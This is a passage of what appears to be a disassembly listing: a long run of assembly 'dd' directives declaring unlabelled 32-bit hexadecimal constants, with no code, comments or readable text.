		dd 0C2D4067Dh, 0C31F138h, 0B5145B0Bh, 0EB816125h, 2DBB0845h
		dd 7A7720A5h, 0D9A34DECh, 64A75C88h, 0F10CE5ECh, 186F374Ah
		dd 20D1136Eh, 68068015h, 7FBE0845h, 0D97EF661h,	0DA30B125h
		dd 5E9CFFh, 7B14055Fh, 527C2016h, 85713748h, 0CAC8BD40h
		dd 63C2B271h, 55996C5Dh, 1B4337DAh, 0C4D6D9F7h,	0EF521D30h
		dd 5B3B7CA4h, 0C78F4B0Ah, 7FBBB5DCh, 123FF1BFh,	0B7DDD15Ch
		dd 0FF093F2Bh, 0C02DE06Eh, 0FE081FE1h, 0ADB3C0C1h, 3075EB80h
		dd 0C8E04CB0h, 0E90540B1h, 0B8D045A4h, 98C90E41h, 0DD042F13h
		dd 0ECB5BCE4h, 84224FDAh, 0A2CBFE53h, 7E599F11h, 67DFC2FFh
		dd 621289BAh, 3DF0C764h, 6CEDA860h, 38B40824h, 299A453Bh
		dd 3F621044h, 26FC0A09h, 1040C13h, 31ABB2D4h, 896CCEF0h
		dd 0F3209A81h, 7B73A747h, 0B622772Fh, 810078BEh, 7F134DCDh
		dd 11454882h, 0F67C9804h
		dd 0C1EE8028h, 3F50C4D0h, 355870C8h, 9D44EBAh, 5FE9080Dh
		dd 0B0FFE704h, 4818C1A8h, 29284077h, 0B5899023h, 6C953594h
		dd 5546265Ch, 875F9C05h, 6358C729h, 63ED7F7h, 4B553FDFh
		dd 702D7C1Fh, 0B24B27C5h, 0FF8FC0C7h, 0A10C9832h, 1C681C67h
		dd 0E2F2EF58h, 0CF90E92Eh, 6909C340h, 30714B03h, 0E9D8311Ah
		dd 0F1106D2Ch, 736D399Eh, 0F1B99687h, 0B8416492h, 0F67EF245h
		dd 84BE13ABh, 2189E0F4h, 0C703B9A2h, 0E71AA63Dh, 4B955272h
		dd 418AB810h, 490EC180h, 92C50EE9h, 45EAEB33h, 0E3CB892Ah
		dd 47E9C28Ah, 98F9FF80h, 0C25A5488h, 2911B951h,	4B39B73Bh
		dd 49568BBAh, 0F22124C4h, 0BE6AA6B1h, 83D5F601h, 8E5C004h
		dd 0D4E1BCE9h, 2F3A65FCh, 0E1FC6E54h, 0C602DB2Ch, 0C03C616Bh
		dd 7C10B737h, 90CFFDDAh, 60F9E9D2h, 23F2ED82h, 4AE61158h
		dd 2EAC11Fh, 0D40CBBCBh, 0E5D79C57h, 680C41DEh,	2E85933Fh
		dd 4B179C22h, 0E9DEA25Dh, 0A2947DB4h, 6EE8C126h, 9F0DD000h
		dd 0B7694E7Ch, 4EFC4862h, 69FD15Ah, 8731A8E9h, 59CD0913h
		dd 4640620Fh, 1C0C643Ah, 0C13B7AB9h, 11E9EE01h,	0BB92816Dh
		dd 4D4135AFh, 6CF7262Bh, 9F510B82h, 5F051249h, 0F6C67794h
		dd 4F58DE31h, 58DDAC5Ah, 15D43E51h, 0FFEDF14h, 246CEC68h
		dd 27FDFE53h, 0F95521C9h, 0E2E905FDh, 0F046FC0Eh, 131E7FE1h
		dd 0D411C27h, 6F7BEBF8h, 50C9A9BDh, 0C64B98DDh,	20C82EE9h
		dd 0BE02698Bh, 5F076CA3h, 99D4CFF4h, 0B130C4FBh, 0ED5AA5EAh
		dd 0C5519473h, 0AAD112C4h, 5DAF64Fh, 0C88DA7C9h, 752CFCC4h
		dd 5193138Ah, 3960EA50h, 14B235B4h, 81E23040h, 7DA8511Ah
		dd 17BD10FCh, 0E0F4E84Eh, 21AA6941h, 1E6307Dh, 84A99EDAh
		dd 4AC1E9h, 2F16ADBFh, 89501453h, 583787F8h, 0FF0E14F4h
		dd 0CC11FCCAh, 0D6166963h, 0F4740EFh, 885AB58Ch, 7CA185F8h
		dd 5892828Dh, 7F51D38Bh, 0D2539C87h, 967F7049h,	633C402Eh
		dd 0FDB67F5Fh, 4C8098Bh, 0A839E2F2h, 77FCDA02h,	5A389A09h
		dd 5BC20E40h, 0E972E60Bh, 0B2370DBh, 1CAA6855h,	3C7D7289h
		dd 0C1454E9Dh, 3A8B0FDEh, 680962ECh, 0DD513629h, 0B85DC61Ch
		dd 5C9C0C96h, 2D6B5DE9h, 0CF0292Fh, 0CB06580Dh,	92302139h
		dd 4CC664E0h, 6E6DB159h, 1428C8D0h, 495AB033h, 5D3B9325h
		dd 0ABD08216h, 7AA77471h, 2A786217h, 460B1857h,	7C04838Bh
		dd 1DBF4331h, 9C49E0EEh, 0BE2FA241h, 689DC645h,	4AB7D88Ch
		dd 0B741A89Bh, 0B6C380E1h, 0CE08E27Bh, 0A61F52D8h, 0F74A6CDAh
		dd 0D1292F98h, 8E9476FAh, 5B1B2C04h, 5D09C8FBh,	70C3ABB5h
		dd 0B23BE3FFh, 0A615F570h, 60BA5B3Ah, 29556883h, 66FA2EE1h
		dd 0C2131EF4h, 9A920281h, 5FD9DF5Ah, 75713B62h,	0B8041CC4h
		dd 531E95D8h, 5BE9B0F0h, 3EC3F1EFh, 6ED45CEDh, 0AECBFC34h
		dd 72EE5F2Ch, 4297E4Ah,	0B445A5C9h, 0D4E1FF0Ah,	181653A4h
		dd 3FFBD452h, 2D578A07h, 1D777116h, 0DFBB1E50h,	3ED0B71Bh
		dd 7E2C116h, 50A4C19h, 143BF2Fh, 400943E0h, 41F8BFF2h
		dd 491E7AFCh, 20AA5216h, 1241B9D2h, 0F0290702h,	0E2C7895Eh
		dd 97E4D02Ah, 0D29CFCD3h, 27F239F3h, 405F02DBh,	9A85D442h
		dd 400FB2FDh, 0E34CC1B2h, 19671384h, 0B687F6E8h, 65DC4B49h
		dd 0E9446825h, 0EA25D716h, 453AADD9h, 0AB1D780Fh, 851E7975h
		dd 1BB21C13h, 9A5F312h,	0DB56C0C1h, 4A2D3499h, 0ED7E4575h
		dd 0A044A5D8h, 4FC9B616h, 3EE8C625h, 49D1B135h,	60B7127Dh
		dd 0D0EF82FEh, 20793436h, 0BF043D8Bh, 4CD82F72h, 50E182EAh
		dd 0D5F76248h, 2D580BC7h, 0A00C1480h, 4C199821h, 0D513EA49h
		dd 1B78F396h, 0E910D620h, 0E73B4305h, 0E4012F45h, 0F2B127D2h
		dd 0B269F8FCh, 88FF5109h, 80002901h, 0B05094EDh, 0D8F600BCh
		dd 0C07E0C0h, 0D328E9CCh, 5D763068h, 9AB560F0h,	7051FD37h
		dd 86D95994h, 0BF394E4Bh, 7F455340h, 0AD64539Dh, 591C227Dh
		dd 0B0DBC666h, 0D468059Dh, 0EE3DE572h, 0FD0DF0Ch, 25F738E9h
		dd 0B65F9D70h, 18E91398h, 0D677406Ah, 3228EE81h, 5A517012h
		dd 5073CF39h, 1A54D627h, 60F101C2h, 9F9E88DDh, 214279D4h
		dd 0DF0209D1h, 0F48FF54Eh, 79A38766h, 0A48444F7h, 7295C266h
		dd 3A79B587h, 48032B09h, 306055F4h, 0D20C577Bh,	3E5F3F1Eh
		dd 8D210EBh, 4D698C40h,	0C781717Ah, 2B737564h, 60A2E7A0h
		dd 2F35397h, 0A47D1B61h, 0F031DD7Dh, 50B9BFCFh,	3320ABF9h
		dd 0A30B95D9h, 2227675Fh, 249B090h, 58E18809h, 0E36B5A2Ch
		dd 30ACA4A5h, 8646B963h, 1C36B9F8h, 0DBE18581h,	0D80D3C41h
		dd 101282F1h, 0EAB00FB4h, 0AAFB4A70h, 0B92BB6DDh, 10A3A26Fh
		dd 0BF806541h, 6B380414h, 0AEEFD15Bh, 62A72601h, 15209BC4h
		dd 41018110h, 63AACA80h, 4CBA5876h, 1E124F80h, 7B03B2BBh
		dd 0C913EE4Ah, 56272709h, 0CEBD9DDh, 17456278h,	666174EDh
		dd 4DB07E34h, 7BE22533h, 666271D9h, 0E4570BCFh,	4979F62Fh
		dd 0F93B21E2h, 31FC8A90h, 110D3531h, 2F9BCA3Eh,	0DB3ED556h
		dd 0DBA58291h, 658860B3h, 0E91A543Fh, 467A67E7h, 11050733h
		dd 0F20CF121h, 3FF26DF6h, 0DA295E12h, 0EFB764BFh, 7F14FE65h
		dd 0CAFB4B7Bh, 4CCD1709h, 180DC9D0h, 0BC6E5B4Fh, 0D00D695Ch
		dd 33D9B527h, 712CE9E1h, 0B41A8276h, 0DA609B8Eh, 1D1FBC2Dh
		dd 0DB490F4Ah, 0E7937F6Ah, 397C29C1h, 6E2D0092h, 5A28DC4Eh
		dd 0B55B5A50h, 45850211h, 0BB00E854h, 38CB7DA4h, 8D95C01h
		dd 0FB85A113h, 69F228DCh, 0BAF2317Eh, 87900152h, 9ACBDEE9h
		dd 89517C36h, 0A55CD712h, 0B294E55Bh, 6C5E9301h, 82F363F1h
		dd 49B759Dh, 3B44D7C9h,	0C42EE9DDh, 0DB7DEF8Ah,	0EFDA743Eh
		dd 56291C91h, 0EEED3592h, 0D8BE4984h, 0AC27E90Fh, 0DA5D7AFh
		dd 0E5CCC880h, 0E8205817h, 7034B62Ch, 309298C2h, 0E5610E0Ah
		dd 32E659F7h, 0CD55EFB0h, 0DBB22B85h, 3117AA5Ah, 87E522F8h
		dd 6E6CB09Dh, 6930E903h, 77E15763h, 2B342E23h, 603A07BEh
		dd 11047B48h, 19F4915Ch, 7807634Dh, 37B41490h, 9541BC60h
		dd 0EA4E4E69h, 9C2EB88h, 12CB394Dh, 9D8625Fh, 8F57B08h
		dd 0AD02265Dh, 5D539668h, 46C27998h, 6FD0DF82h,	2218EC0Fh
		dd 507CAB41h, 1F69D7Ah,	0E4ACBEC2h, 123A4E70h, 90C6BC77h
		dd 0DFA638D8h, 68C23AECh, 0CD7649D5h, 99677458h, 4A6B4FB5h
		dd 0F4B949C0h, 2F3D7E1Eh, 98B0E096h, 57EA2568h,	0E4CF107Eh
		dd 0C1980BBBh, 68A94095h, 0AC7D9E05h, 50915A6Ah, 52002D3Dh
		dd 474842BAh, 1CA5405Bh, 4D203512h, 33CEF0FBh, 3871F062h
		dd 525D1A0Eh, 151B4AA4h, 4410393Bh, 665C1B3Eh, 0E368A3CFh
		dd 3C89C115h, 1AA21188h, 224B0C10h, 0F9DD0273h,	133C6481h
		dd 0E6CCF2B0h, 0F709175Dh, 4F90EBDAh, 92D830ACh, 406FF6B0h
		dd 3AB55FA4h, 21A5C256h, 50668DCh, 0B9C4A838h, 0F7F990A4h
		dd 873D9CACh, 0B26A7A7h, 294CD7A1h, 0E3E7810Fh,	0F2FE06Eh
		dd 0BC2B108Ah, 340804Ch, 0F889D0F3h, 13E6B425h,	160E9FD1h
		dd 101A8ABAh, 0FA5B619Bh, 643D3861h, 5CB2B472h,	2524035Dh
		dd 4F7DC096h, 0BAB2962Dh, 71207B85h, 4BBCEC08h,	9A8731FFh
		dd 0E65C4063h, 4B583A13h, 29BE0264h, 0E22E970Bh, 70609FCh
		dd 55090907h, 61279ACCh, 54F8D6B2h, 0B80285A4h,	439B1AD1h
		dd 0C4665D92h, 8CB856EEh, 926E67Fh, 4F00142Fh, 0F50641Fh
		dd 3EFD3087h, 3935E9ADh, 69146F2Eh, 5294EA1Fh, 76CE2591h
		dd 68D942F1h, 38D7D277h
		dd 0D28634C3h, 665DEB21h, 9619D70Fh, 84053773h,	0A6BFF7F8h
		dd 49681B84h, 1F501273h, 4060BA97h, 5B28B95Eh, 12B2BD1Bh
		dd 13F89CCBh, 0FB0966E3h, 1060A7E9h, 0E4181C33h, 0B6EBF6F2h
		dd 0E6D1006Ah, 978E0F46h, 163ACD59h, 5988D0ABh,	8742135Ah
		dd 5E37A2D1h, 0D921C905h, 3C2732A2h, 0FB9FD9F0h, 429B6D9Fh
		dd 31007B3Dh, 4F895FFDh, 0EBCB62EAh, 8F907EF2h,	0E175E92Fh
		dd 3A30D1A4h, 0D1CB6094h, 5B3E72EEh, 5405BEB9h,	0C1BF27E6h
		dd 6B1FBE46h, 4D7B1DF7h, 775B71AEh, 18E5D674h, 5E5E6CE8h
		dd 0F71517D5h, 79245256h, 0F791272Dh, 68169696h, 3AA30987h
		dd 8BA58E24h, 94F52C33h, 1FF2273Ch, 60C2017Ch, 0A1CFE746h
		dd 64774BABh, 4D18C1DCh, 338805h, 50123731h, 12FF903Fh
		dd 0C5CDBA20h, 21218065h, 1A4C832Ah, 73670F6Dh,	0D7823E09h
		dd 7CBDE9h, 0B96853ADh,	0B8A351Eh, 40BC3457h, 0DF12A4B5h
		dd 28BC2645h, 0C344A900h, 727FE971h, 21EF50D2h,	669CFE96h
		dd 6D77F50h, 0D8D002EEh, 0CFC1BE44h, 0F7A7DAEDh, 5B68D1E6h
		dd 7D303A5Eh, 303C6EB0h, 3E384358h, 755BF539h, 0C5001BADh
		dd 46EF01BCh, 0D197EB29h, 98156275h, 4D681477h,	100280Bh
		dd 90BB53CDh, 4D175605h, 3001DBF7h, 3F6E5149h, 0E96CA03Ah
		dd 6783645Fh, 0D8EAB257h, 67BF04C9h, 0F84D8524h, 0E3C910A4h
		dd 0B97C5D3Bh, 45B2023Ah, 0A0D44939h, 0CF01AA27h, 77655C0Bh
		dd 608A4602h, 25728309h, 679CD059h, 46BB0035h, 780D71F6h
		dd 38030F1Dh, 9563EB2Dh, 0FC0BF840h, 0BEF94FD9h, 48E9CC20h
		dd 0C599BF27h, 60BA2B53h, 2DC38147h, 0CC42203Dh, 0E95605D9h
		dd 0BB534BF3h, 4E222518h, 7B2B2053h, 3EC194A1h,	0A96FE33Dh
		dd 0A48ED211h, 1DF8025Eh, 0C2407352h, 0DF3A2FEDh, 2010A70Fh
		dd 4F15C19Fh, 0B8A95E28h, 2CBA90FBh, 0C180A630h, 0F28107EAh
		dd 6B625CDAh, 89C5292Dh, 55348789h, 9C302867h, 2D68C388h
		dd 739A4E54h, 58E25D83h, 3E9D909h, 0A80D797Fh, 7E0B2E95h
		dd 2B5B59B2h, 57F870BAh, 5154E168h, 0D801B831h,	0E936F429h
		dd 897F01B6h, 798C6A00h, 95669F4Ah, 505AD095h, 5598E3Bh
		dd 290BD173h, 8A110F9h,	0B2F64D75h, 4A55A85Fh, 0A72F1FE1h
		dd 0DAA70041h, 9FE9104Ah, 5016CBB4h, 0A5399BDBh, 2526E637h
		dd 0DE59A674h, 17F5ED40h, 933D585Ch, 589134Fh, 0C5599E93h
		dd 5BC7BC02h, 0BFE174FBh, 8A129A21h, 19B4DA6h, 29AC6BBDh
		dd 0F5F070DEh, 9FCD51C0h, 0BD5B5D62h, 0D9834529h, 821D4BE1h
		dd 4F923345h, 4ED370A0h, 0B4F0F938h, 5AFB0BDCh,	7924F378h
		dd 87EA7954h, 800BAD2h,	400478F6h, 30304A68h, 3D80BD4Ch
		dd 0E7EC294Fh, 0B4902D20h, 490A5A09h, 8EA45535h, 5EB8ACC2h
		dd 0C700DBDBh, 188F4C17h, 5301DF01h, 1D1A6851h,	0E87B27E0h
		dd 4945B014h, 65148ECh,	107B8700h, 840F4134h, 27C0E630h
		dd 27880EE9h, 0F95EA824h, 2C82143Ch, 4EC90754h,	84B21194h
		dd 0F8EC466h, 42590C78h, 0FBCBA465h, 3CB72A27h,	4BBD4019h
		dd 0B5FF719Dh, 0F1520C74h, 72CE1A05h, 80FE687Fh, 0E92B58CDh
		dd 5898E620h, 0AF3B8F3Dh, 13FBFA6Dh, 0A961F580h, 47C5931h
		dd 0A1CA1E8h, 0EFE590BFh, 772528C7h, 16425C0Fh,	2F06F857h
		dd 0BAA4005Fh, 0BC3E80EBh, 13AD209Ah, 0FEB00106h, 2C818A10h
		dd 9340A436h, 0DC7D6D71h, 0B83B45C4h, 87B9C424h, 0D9A302Bh
		dd 89987CD9h, 80F2534Eh, 0D8C9870h, 0D5F6E886h,	6C1B4708h
		dd 0EC07C0D6h, 78C48003h, 0F5B3EB32h, 930BC7C0h, 442C54BDh
		dd 0FB1895F1h, 0C4950DD7h, 0C515B4BAh, 49883901h, 550D6843h
		dd 522A3A23h, 73413B2h,	0B83BB044h, 860881BDh, 1288F6C8h
		dd 0BF015013h, 4EA73EE1h, 16393260h, 0E014ED1Ch, 953D4434h
		dd 75D7A435h, 0D05C911Dh, 50470CF2h, 4998048Dh,	0FC8974C1h
		dd 0EADE2D9Ch, 7BFBC050h, 0DAEEBF04h, 5301BD7Ah, 0E94D36E7h
		dd 0B26A92E6h, 14F27CB1h, 5D1B4297h, 0D78B7A45h, 0D545556Ch
		dd 44A26884h, 4CB433FBh, 91491DACh, 0F130F471h,	6A02F5C1h
		dd 49ADED8h, 0E9277E86h, 4BE1BC70h, 1916C1AAh, 8D0F00F3h
		dd 5304D12h, 777DDA2Ah,	0C4D3E431h, 0B9C78808h,	0BE819263h
		dd 0D16A85EAh, 36497D19h, 2E5001Ah, 0F450EC5h, 0FA90258Bh
		dd 3BDA7010h, 0F732C2E1h, 2E90E4C6h, 0D0E82EDCh, 1B67EC12h
		dd 93305004h, 75FB2907h, 0F2390B3Eh, 58BAFDA0h,	1CDE423Dh
		dd 18DABDE0h, 0E0C31213h, 0EBF713BBh, 0F5FC3B89h, 5C36183Fh
		dd 0DF971822h, 0F0071027h, 82779DDAh, 0A51BAB31h, 17EDA4C4h
		dd 4B997750h, 51B38C25h, 51D18839h, 585CD6F5h, 8AD91CCCh
		dd 0A59F0774h, 2569D327h, 4123C6DDh, 0F1C7BF7h,	72C51B01h
		dd 84047C01h, 0A40A1302h, 0C396466h, 8DE98BDBh,	4BCCD7EDh
		dd 42F12920h, 2F34520Ch, 853A099Ch, 35C2DA3Ch, 0B495E0A7h
		dd 0D3BA4C52h, 0AF2E4A17h, 823B5D87h, 5293919Fh, 66022593h
		dd 1C972BBh, 59F7F2D0h,	0B678E291h, 2C1BFC29h, 27540484h
		dd 0E6A2EE58h, 0AAC87089h, 4919A5F6h, 0ABA6CA2h, 8EA1781h
		dd 6F67C353h, 0E4F849E1h, 0A6C4B5B1h, 1040F5F0h, 47160BBEh
		dd 68505897h, 78502DFAh, 0C5157D2Eh, 7997F824h,	6C16ECE6h
		dd 3401391Ah, 25461EA4h, 95A1CFD4h, 740B3FD1h, 0C1239820h
		dd 7C20E7E2h, 5D8B6D6h,	0FC71E94Ah, 755D27BDh, 0E984F145h
		dd 0E2FFC30Fh, 0A35E1824h, 13ACEB99h, 442CBEA6h, 0FA9AB7A3h
		dd 884379C8h, 3D126FC1h, 45F82C2Fh, 30789073h, 0F374EB31h
		dd 7F2FCB67h, 0C51B8252h, 484575C7h, 0C4BFCEBEh, 0F9E9AB46h
		dd 2378A986h, 13674520h, 0C55EF009h, 8AA2439h, 0C10B91EDh
		dd 6A5CE1h, 0B7DFFB84h,	9A16BD55h, 0D5FB9533h, 4DC7325Fh
		dd 9CF8175h, 442A1E77h,	1B8AEB0h, 86A5702Dh, 0BDC389ECh
		dd 0E91513CCh, 5F5A557Dh, 0B9651B2h, 44DD9082h,	88AA2FD2h
		dd 0EE837038h, 0BD542CCAh, 0AC20024Fh, 40265CB0h, 0A986E9C6h
		dd 0CDEF21C0h, 0C1126F55h, 0D46125DCh, 1703604Dh, 5BBD4870h
		dd 0D525BE56h, 0AE684504h, 8EFB8995h, 0E95C279Eh, 446ECE5Ah
		dd 0FF7463DAh, 2A9DE31h, 0D9C19D28h, 20030C25h,	7B17D8FCh
		dd 32000A69h, 50E95108h, 19FB9ADCh, 91C3678Fh, 0BB7FDA03h
		dd 8DEFD99Dh, 734ABB00h, 9340103h, 0F5C15BD9h, 87922181h
		dd 35C6FDC2h, 4C779082h, 329DBEDEh, 18FD2126h, 805BF67Ch
		dd 7212A5BEh, 0BD0D2771h, 133B0DA1h, 83C2D45Ah,	95DAE9C5h
		dd 2078D25Ch, 0C4C4836Eh, 0C804C050h, 7258A877h, 0E94705FBh
		dd 0C4BDB0E2h, 1071B8C0h, 504F3F8h, 2BD03D97h, 77E10AEh
		dd 4E95F0Bh, 0FE292160h, 5EF4CF98h, 4CF2F3E3h, 273D935Bh
		dd 2D39C028h, 776001B7h, 90880F52h, 3A7D656Eh, 46492D3h
		dd 6CE94810h, 113EB340h, 0EF02072Dh, 4C2822F8h,	7B06ECC1h
		dd 5C010DFCh, 1044E86h,	29F93AFBh, 5469373Eh, 96D3D35Fh
		dd 8BB708EAh, 52B06805h, 69D661FAh, 77BB2AA7h, 0A17CC5F3h
		dd 0F78760BBh, 8A32E4E5h, 3C5E9B5h, 243840E1h, 0E569BD5Bh
		dd 789A4401h, 0DD341EA7h, 0F9E15F26h, 0AEE74030h, 0D6894213h
		dd 4EFB7213h, 8417E9E7h, 5CE7071Ch, 0C72E6C3Fh,	25C0A838h
		dd 971550A1h, 2258AB74h, 0E8BD30Ch, 660C104h, 88684A42h
		dd 8052095Dh, 85C8DC57h, 0DEEA4E29h, 0FAA85B9Eh, 9911E906h
		dd 0EE068FFFh, 6986148h, 4A34FE37h, 1EABA2D7h, 2056160Dh
		dd 18C60F0Ch, 5AF70628h
		dd 71F83058h, 0B9A25B4Eh, 0BA6CF912h, 5F60E388h, 0EDAEDD7Bh
		dd 7EAE3559h, 5EA2C1E8h, 67AD717Fh, 135D1B27h, 0A24C9878h
		dd 20CF9E7Dh, 39681507h, 3119FF7Eh, 71096483h, 4C34F480h
		dd 0B771D988h, 466FD5F4h, 0BD1458E5h, 7EC313DCh, 5E9B76C3h
		dd 10D2BD5Dh, 0B800F72Ah, 1FD353BDh, 0F1F8C231h, 0DC3B5D64h
		dd 77E30FC2h, 0C001444Ch, 0F38002EBh, 0B02A302Ch, 5305509Bh
		dd 0B1E90EB7h, 8809DAA3h, 35825801h, 9D6B559Ah,	0B1739848h
		dd 0A32BB992h, 5250876Ah, 2C66B020h, 0C6881CA0h, 5AF4CD58h
		dd 0EB80D89Ch, 66C0455Fh, 9CDCE9B3h, 4F5C1F9Ah,	0CC29FACEh
		dd 6E7F25E2h, 0FD192DBCh, 0D289E379h, 6B347786h, 9E5A94EEh
		dd 0D6275FEAh, 358840D3h, 46191A17h, 255AA6F4h,	20D25191h
		dd 0BCE00DAFh, 0C288999Eh, 670512F8h, 7980B1F4h, 0BB538077h
		dd 487D7C58h, 9A01C73Eh, 0F7185261h, 350860D3h,	95CF8080h
		dd 3CFFF6E0h, 5EB25280h, 21E8910Ah, 0B45C8E30h,	6CB27626h
		dd 0BFE50896h, 48687D27h, 6B050197h, 3A7B680Ah,	980085B3h
		dd 316E5256h, 0C0905BDAh, 0EDF4B64Ah, 9D335B3Bh, 0E22EECB6h
		dd 79AD595h, 358B77Ch, 0B5C4826Ah, 4BCA8759h, 0C38A37EEh
		dd 4E496382h, 35552438h, 72F5CA17h, 0F36BEDDDh,	685904F4h
		dd 0B1A92620h, 6F10E982h, 0D8550DCAh, 5E6B9AB8h, 4248173Ch
		dd 676B40F2h, 0DAEE1DDh, 0C9CF479Dh, 0EFFC69D0h, 409313BFh
		dd 688222A2h, 0AEF57748h, 6AC5E552h, 62532ECCh,	0B53B3CB3h
		dd 0FA689700h, 0A955AA58h, 43CAFF03h, 9760947Eh, 27AD722Dh
		dd 2DF4BAF2h, 29FD9927h, 7512FB2Bh, 0E982A0ADh,	2FCA94A4h
		dd 0EF78B075h, 0A7BB8055h, 0F8E82C12h, 3A823801h, 59211BDAh
		dd 9FA8677Fh, 3310B5ECh, 37BF345Bh, 288AE204h, 17AE754h
		dd 0BCE0E9E6h, 82A3E72Fh, 5A33CAE9h, 3CE00F02h,	8E643A71h
		dd 93A4B2E8h, 0A0106CACh, 0F18101B7h, 7FC002DCh, 6E2D5121h
		dd 5184EA0Fh, 530F7E47h, 1902B1E7h, 154E6CC2h, 88B0DC03h
		dd 68046BA7h, 68EE72BAh, 0BF425715h, 4C2BB85Eh,	0A0A95EB4h
		dd 10FCBDC0h, 0C09F3930h, 1328B9DCh, 72C6CFEFh,	3CD845D0h
		dd 76867497h, 688BE925h, 1351EECBh, 85F7113Ch, 60B0056h
		dd 91C412Ah, 0B7E9C70Bh, 0BF4EC625h, 0BD656FF1h, 0E9B06A58h
		dd 101769BFh, 36037929h, 0B72E3962h, 0DFA5C95Dh, 308A22CDh
		dd 0EB8CA96Fh, 60AB1538h, 8C0F3A81h, 0D6B9FB2Ah, 317EF162h
		dd 480F3EB6h, 4E80E248h, 21147F53h, 40996295h, 1D34B81Bh
		dd 0BC0157AEh, 5508A27Dh, 0E069AA71h, 0BB2B3590h, 7F0F0249h
		dd 5BF577D8h, 0CA4C2CF6h, 25F02003h, 0E257755Dh, 508CDF3Ah
		dd 8898020Ah, 0EFFA8B14h, 39EF7FC1h, 3EF10522h,	0B2EB4AF4h
		dd 0CDF502BFh, 0CB68092Dh, 0DA6AF1D4h, 2759DB24h, 267EF187h
		dd 76CFEEAEh, 40E6B00Bh, 2D7EBF59h, 147EBA3Ah, 5D142218h
		dd 0F4744E68h, 0A2412617h, 0F78F096Dh, 31068A3h, 599F2718h
		dd 1EC5807Ch, 12EC2858h, 0FACDEF30h, 44AEE444h,	0CC1236BAh
		dd 0B9015162h, 34AC6B83h, 0B8487BFh, 0D559CF31h, 0BDDA3E1h
		dd 0A0EB1BE9h, 20B5E546h, 54556DD3h, 2BF1ECC1h,	89720B17h
		dd 8EBB8400h, 0A0AFD29Dh, 9259CA6h, 0CB292A92h,	2C08D208h
		dd 1B01C930h, 6B0F7637h, 7D40ACA5h, 4EFD97E3h, 0F828132Ch
		dd 13940F03h, 64E944FEh, 874FF6D0h, 56C7A1FDh, 20F92901h
		dd 5CB59FA8h, 78FD40AFh, 77FA7357h, 1ADD9CBh, 61DE6899h
		dd 86C70D38h, 4F09BE70h, 254B1000h, 5490017Bh, 5143B702h
		dd 40DF295Fh, 7F603AC7h, 0BE924D2h, 0A4509680h,	372F68B5h
		dd 0AF937143h, 555AC57Eh, 74C90AD9h, 3968E118h,	28312E4Bh
		dd 0F20747F1h, 0CA4003E5h, 0D7A876B2h, 0A8B92D63h, 3FB25664h
		dd 2D67E982h, 26874C57h, 8F45D54h, 0CA24A82Eh, 0BEAC0A08h
		dd 4BA5BC05h, 0CD21F1CDh, 10D369DFh, 124B3F51h,	0E90EE27h
		dd 487E022h, 0E9FB3135h, 4B29FCFCh, 30D3CCAFh, 0F2A3954Fh
		dd 0E42CBE97h, 0AF0E05EFh, 922AE916h, 36C80981h, 2AC02FF1h
		dd 0E8A062B9h, 0BDFEF494h, 0C2D5BB0Bh, 5A64638Bh, 0A70DAC34h
		dd 391CDE3h, 4F92EE1Dh,	0C0B0301h, 5D2531B3h, 0BC6C4C04h
		dd 6DAB4EA3h, 0D1A73F94h, 5125E93Ah, 20DA681Bh,	25206555h
		dd 4BF265DFh, 0F9DECC04h, 820F04B6h, 4D1F81A3h,	22571862h
		dd 2C5E0E48h, 68514419h, 0DC8426ACh, 881D1271h,	6D2149CCh
		dd 132503EAh, 0DA29726Fh, 5B089A40h, 2477FF16h,	1F2ECCEEh
		dd 4CA5D4Ah, 728CEB00h,	0D3295C71h, 8BA5228h, 0B706E912h
		dd 23802294h, 0F837B663h, 2436B2ECh, 3EB057ADh,	8FB02814h
		dd 115CF50Fh, 0DFE922C1h, 0CFBF53B8h, 29853CF8h, 0C19225F6h
		dd 64BABB04h, 0FDFC697Dh, 5EB844Fh, 0FEF0E90Ah,	0A2FAB412h
		dd 95E9B026h, 0EE25C054h, 144D61A0h, 0E792FCA0h, 4EFC595Bh
		dd 0E832D204h, 5563C069h, 25F4820h, 0EC4FECACh,	46C010F5h
		dd 5CABB4Eh, 0BFC0344Fh, 0E9B9ACB8h, 9F377F70h,	0DCF1B694h
		dd 569F1962h, 68DE8113h, 22A87BA7h, 7B0A499Fh, 426F7CB0h
		dd 472A221Fh, 1D73168Ch, 406F98DDh, 8B1A0F0Dh, 0DD50CD45h
		dd 4DC7BB18h, 8F8521C2h, 0EF989069h, 569106C1h,	5184A3E9h
		dd 0F28AD809h, 0C440065Bh, 3436904Ah, 0F20CD22Dh, 59247AE9h
		dd 0DFAFED5Bh, 0C6A5C521h, 46C53FD3h, 85C5A561h, 79495702h
		dd 3FF8625Fh, 88A8FB03h, 4360ED80h, 0B652FF06h,	62A490C0h
		dd 0B2CB1D86h, 2497F8C1h, 26403890h, 95C65668h,	5599885Eh
		dd 28130DFCh, 88D84AEEh, 44450BCDh, 0CDD77933h,	1ACD0246h
		dd 9F96795h, 64115116h,	504F26D9h, 65C5930Eh, 75EF012Fh
		dd 0EACE0021h, 23B5FE4h, 0DABA5B4Ah, 522A60B5h,	0D35DAE1Ch
		dd 0C944FB0Ch, 0A2C2C201h, 2A79AA4h, 15817CEh, 4956D689h
		dd 57B9083Ch, 37F96DD7h, 3A7655C6h, 4D79BA01h, 0DAF73AC5h
		dd 0FB1FC07Eh, 264ACE11h, 0D688E718h, 3AE8248Ch, 505A04D3h
		dd 3769885Fh, 0BD1358BEh, 0A8CC59ABh, 0FA0500B1h, 3EF0FA19h
		dd 0B216C531h, 0C0B3ED72h, 9151E1BBh, 38E0B52Bh, 0E65F0703h
		dd 0F42082F1h, 3BD59EB0h, 93A4B0CAh, 5520A441h,	96E1820h
		dd 7D69B443h, 4251221Dh, 39A5E2C1h, 0D18E67AFh,	0BFE1C266h
		dd 6F52E3E9h, 10A03350h, 6802E68Bh, 542D70D6h, 1A1104Ch
		dd 0CFEE2006h, 91D347Dh, 36158C0Fh, 0BA1D10A2h,	4CCF2575h
		dd 988322FFh, 0C3F4D615h, 2012AB0Eh, 0E8CA5F54h, 69D3F85Bh
		dd 0EB970035h, 9045BC54h, 7CFB262Ch, 16552DE7h,	413BEFEh
		dd 0A9382E49h, 3B08413Bh, 0E912338Fh, 465D4C42h, 1A94D5D0h
		dd 312BC427h, 0C69F793Eh, 16582601h, 7301C488h,	0BB18BA5Fh
		dd 0BEE1853Fh, 0A1165E8Bh, 0D6DBAC0Bh, 410AE10Ah, 0A75C008h
		dd 389FE09h, 0C62EA2E6h, 8F02DE73h, 0F702C75Bh,	0F48E60DEh
